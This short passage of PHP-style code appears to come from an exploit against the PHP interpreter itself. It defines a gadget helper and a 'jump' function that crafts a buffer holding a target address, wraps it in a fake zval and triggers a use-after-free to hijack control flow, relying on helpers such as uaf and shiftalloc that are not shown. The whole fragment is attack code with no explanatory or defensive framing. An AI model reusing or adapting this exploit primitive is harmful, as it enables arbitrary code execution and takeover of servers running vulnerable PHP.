function ig($a, $b) { return ibuf(gadget($a, $b), 8); }
function jump($addr, $rax) { $raxlen = strlen($rax); $al = shiftalloc(alloc(1024 + $raxlen + 16), 1024); memcpy($al, $rax, $raxlen); memcpy($al, ibuf(0, 8) . ibuf($addr, 8), 16); $zv = zval(0, $al['ptr'], 5, 0); uaf($zv); }